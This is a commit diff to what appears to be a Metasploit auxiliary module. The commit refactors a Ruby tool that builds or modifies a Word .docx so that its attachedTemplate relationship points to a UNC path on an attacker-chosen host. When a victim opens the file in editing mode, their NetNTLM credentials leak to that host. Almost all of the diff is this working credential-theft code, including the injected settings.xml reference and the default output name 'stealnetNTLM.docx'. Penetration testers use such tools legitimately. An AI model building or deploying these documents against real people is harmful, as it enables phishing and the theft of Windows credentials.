Using snake_case, fixed using tmp files, changed errorhandling

bug/bundler_fix
SphaZ 2013-02-05 12:00:04 +01:00
parent fa1811ac38
commit 0f46ed72e1
1 changed files with 126 additions and 200 deletions

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary
If emailed the receiver needs to put the document in editing mode
before the remote server will be contacted. Preview and read-only
mode do not work. Verified to work with Microsoft Word 2003,
2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb
2007 and 2010 as of January 2013 date by using auxiliary/server/capture/smb
},
'License' => MSF_LICENSE,
'References' =>
@ -40,252 +40,178 @@ class Metasploit3 < Msf::Auxiliary
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']),
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']),
OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']),
OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']),
OptString.new('DOCAUTHOR',[false,'Document author for empty document.', '']),
], self.class)
end
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def makeNewFile
metadataFileData = ""
metadataFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
metadataFileData << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
metadataFileData << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
metadataFileData << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
metadataFileData << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
metadataFileData << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
def make_new_file
metadata_file_data = ""
metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
#where to find the skeleton files required for creating an empty document
dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
tmpDir = "#{Dir.tmpdir}/unc_tmp"
#setup temporary directory structure
begin
cleanupTmp(tmpDir)
FileUtils.mkdir_p("#{tmpDir}/docProps/")
FileUtils.mkdir_p("#{tmpDir}/word/_rels/")
rescue
print_error("Error generating temp directory structure.")
return nil
end
#here we store our on-the-fly created files
begin
f = File.open("#{tmpDir}/docProps/core.xml", 'wb')
f.write(metadataFileData)
f.close()
f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb')
f.write(@relsFileData)
f.close()
rescue
print_error("Cant write to temp file.")
cleanupTmp(tmpDir)
return nil
end
data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
#making the actual docx
begin
docx = Rex::Zip::Archive.new
#add skeleton files
vprint_status("Adding skeleton files from #{dataDir}")
Dir["#{dataDir}/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub(dataDir,''), File.read(file))
end
docx = Rex::Zip::Archive.new
#add skeleton files
vprint_status("Adding skeleton files from #{data_dir}")
Dir["#{data_dir}/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub(data_dir,''), File.read(file))
end
#add on-the-fly created documents
vprint_status("Adding injected files")
Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file))
end
end
#add the otherwise skipped "hidden" file
file = "#{dataDir}/_rels/.rels"
docx.add_file(file.sub(dataDir,''), File.read(file))
file_create(docx.pack)
rescue
print_error("Error creating empty document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end
cleanupTmp(tmpDir)
return 0
#add on-the-fly created documents
vprint_status("Adding injected files")
docx.add_file("docProps/core.xml", metadata_file_data)
docx.add_file("word/_rels/settings.xml.rels", @rels_file_data)
#add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
docx.add_file(file.sub(data_dir,''), File.read(file))
#and lets create the file
file_create(docx.pack)
end
#cleaning up of temporary files. If it fails we say so, but continue anyway
def cleanupTmp(dir)
begin
FileUtils.rm_rf(dir)
rescue
print_error("Error cleaning up tmp directory structure.")
end
end
#here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulateFile
#where do we unpack our source file?
tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
def manipulate_file
#where do we unpack our source files
tmp_dir = "#{Dir.tmpdir}/unc#{Time.now.to_i}#{rand(1000)}/"
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
if File.exists?(datastore['SOURCE'])
if not File.stat(datastore['SOURCE']).readable?
print_error("Not enough rights to read the file. Aborting.")
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil
end
fileContent = File.read("#{tmpDir}/word/settings.xml")
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
#we put just our rels file into the docx
if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil?
return nil
end
# lets zip the end result
if zipDocx(tmpDir).nil?
return nil
end
else
#now insert the reference to the file that will enable our malicious entry
insertOne = fileContent.index("<w:defaultTabStop")
if insertOne.nil?
insertTwo = fileContent.index("<w:hyphenationZone") # 2nd choice
if not insertTwo.nil?
vprint_status("HypenationZone found, we use this for insertion.")
fileContent.insert(insertTwo, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
fileContent.insert(insertOne, ref )
end
if insertOne.nil? && insertTwo.nil?
print_error("Cannot find insert point for reference into settings.xml")
cleanupTmp(tmpDir)
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil
end
#update the files that contain the injection and reference
if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil?
print_error("Error inserting data into word/settings.xml")
return nil
end
if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil?
print_error("Eror inserting data into word/_rels/settings.xml.rels")
return nil
end
#lets zip the file
if zipDocx(tmpDir).nil?
return nil
end
end
else
if not File.exists?(datastore['SOURCE'])
print_error("File #{datastore['SOURCE']} does not exist.")
return nil
end
cleanupTmp(tmpDir)
return 0
if not File.stat(datastore['SOURCE']).readable?
print_error("Not enough rights to read the file. Aborting.")
return nil
end
#lets extract our docx
if unzip_docx(tmp_dir).nil?
return nil
end
file_content = File.read("#{tmp_dir}/word/settings.xml")
#if we can find the reference, we don't need to add it and can just inject our unc file.
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
update_docx_file(tmp_dir,"word/_rels/settings.xml.rels", @rels_file_data)
# lets zip the end result
zip_docx(tmp_dir)
else
#now insert the reference to the file that will enable our malicious entry
insert_one = file_content.index("<w:defaultTabStop")
if insert_one.nil?
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
if not insert_two.nil?
vprint_status("HypenationZone found, we use this for insertion.")
file_content.insert(insert_two, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
file_content.insert(insert_one, ref )
end
if insert_one.nil? && insert_two.nil?
print_error("Cannot find insert point for reference into settings.xml")
FileUtils.rm_rf(tmp_dir)
return nil
end
#update the files that contain the injection and reference
update_docx_file(tmp_dir, "word/settings.xml",file_content)
update_docx_file(tmp_dir, "word/_rels/settings.xml.rels", @rels_file_data)
#lets zip the file
zip_docx(tmp_dir)
end
return 0
end
#making the actual docx
def zipDocx(tmpDir)
begin
docx = Rex::Zip::Archive.new
#add skeleton files
vprint_status("Adding files from #{tmpDir}")
Dir["#{tmpDir}/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub(tmpDir,''), File.read(file))
end
def zip_docx(tmp_dir)
docx = Rex::Zip::Archive.new
#add skeleton files
vprint_status("Adding files from #{tmp_dir}")
Dir["#{tmp_dir}/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub(tmp_dir,''), File.read(file))
end
#add the otherwise skipped "hidden" file
file = "#{tmpDir}/_rels/.rels"
docx.add_file(file.sub(tmpDir,''), File.read(file))
file_create(docx.pack)
rescue
print_error("Error creating compressed document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end
#add the otherwise skipped "hidden" file
file = "#{tmp_dir}/_rels/.rels"
docx.add_file(file.sub(tmp_dir,''), File.read(file))
file_create(docx.pack)
FileUtils.rm_rf(tmp_dir)
end
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzipDocx(tmpDir)
def unzip_docx(tmp_dir)
#create temoprary directory so we can do some error handling if needed.
begin
if not File.directory?(tmpDir)
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}")
Zip::ZipFile.open(datastore['SOURCE']) do |fileZip|
fileZip.each do |entry|
fpath = File.join(tmpDir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
fileZip.extract(entry, fpath)
end
if File.directory?(tmp_dir)
FileUtils.rm_rf(tmp_dir)
end
FileUtils.mkdir_p(tmp_dir)
rescue
print_error("Error creating/deleting temporary directory #{tmp_dir}, check rights.")
return nil
end
#unzip the SOURCE document into the tmp_dir
vprint_status("Rubyzip sometimes corrupts the document, so we do it the hard way. Extracting #{datastore['SOURCE']}")
begin
Zip::ZipFile.open(datastore['SOURCE']) do |filezip|
filezip.each do |entry|
fpath = File.join(tmp_dir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
filezip.extract(entry, fpath)
end
end
rescue
print_error("There was an error unzipping.")
cleanupTmp(tmpDir)
rescue Zip::ZipError => e
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
return nil
end
return 0
end
#used for updating the files inside the docx from a string
def updateDocxFile(tmpDir,fileString, content)
begin
archive = File.join(tmpDir, fileString)
vprint_status("We need to look for: #{archive}")
if File.exists?(archive)
vprint_status("Deleting original file #{archive}")
File.delete(archive)
end
File.open(archive, 'wb+') { |f| f.write(content) }
rescue Exception => ex
print_error("Well, extracting and manipulating the file went wrong :(")
cleanupTmp(tmpDir)
return nil
def update_docx_file(tmp_dir,file_string, content)
archive = File.join(tmp_dir, file_string)
vprint_status("We need to look for: #{archive}")
if File.exists?(archive)
vprint_status("Deleting original file #{archive}")
File.delete(archive)
end
return 0
File.open(archive, 'wb+') { |f| f.write(content) }
end
def run
#we need this in makeNewFile and manipulateFile
@relsFileData = ""
@relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
@relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
#we need this in make_new_file and manipulate_file
@rels_file_data = ""
@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
if "#{datastore['SOURCE']}" == ""
#make an empty file
print_status("Creating empty document")
if not makeNewFile.nil?
print_good("Success! Empty document #{datastore['FILENAME']} created.")
end
make_new_file
else
#extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.")
if not manipulateFile.nil?
if not manipulate_file.nil?
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
end
end